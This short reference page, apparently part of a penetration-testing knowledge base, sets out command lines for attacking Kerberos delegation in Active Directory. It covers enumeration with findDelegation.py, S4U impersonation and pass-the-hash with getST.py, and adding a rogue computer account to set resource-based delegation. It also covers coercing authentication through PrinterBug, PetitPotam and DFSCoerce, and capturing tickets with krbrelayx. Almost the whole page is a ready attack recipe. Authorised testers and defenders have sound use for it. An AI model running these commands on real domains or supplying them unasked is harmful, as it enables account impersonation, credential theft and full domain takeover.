<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting Kerberos Delegation

## findDelegation.py
```bash
findDelegation.py DOMAIN/USER:PASS -dc-ip DC_IP
# Lists unconstrained, constrained, and RBCD accounts
```

## getST.py (S4U)
```bash
# Constrained delegation — get impersonated TGS
getST.py -spn SPN -impersonate USER DOMAIN/SVCACCOUNT:PASS -dc-ip DC_IP
getST.py -spn SPN -impersonate USER -hashes :NTHASH DOMAIN/SVCACCOUNT -dc-ip DC_IP

# Use resulting ticket
export KRB5CCNAME=USER.ccache
```

## RBCD Tools
```bash
# Add computer account
addcomputer.py -computer-name NAME$ -computer-pass PASS DOMAIN/USER:PASS -dc-ip DC_IP

# Set RBCD attribute
rbcd.py -delegate-to TARGET$ -delegate-from EVIL$ -action write DOMAIN/USER:PASS -dc-ip DC_IP

# Clear RBCD attribute
rbcd.py -delegate-to TARGET$ -delegate-from EVIL$ -action flush DOMAIN/USER:PASS -dc-ip DC_IP
```

## Coercion Tools
```bash
# PrinterBug
printerbug.py DOMAIN/USER:PASS@DC LISTENER_IP

# PetitPotam
PetitPotam.py LISTENER_IP TARGET_IP

# DFSCoerce
dfscoerce.py -u USER -p PASS -d DOMAIN LISTENER_IP TARGET_IP
```

## krbrelayx
```bash
krbrelayx.py --krbsalt DOMAIN -aesKey AES_KEY
# Captures TGTs from unconstrained delegation coercion
```
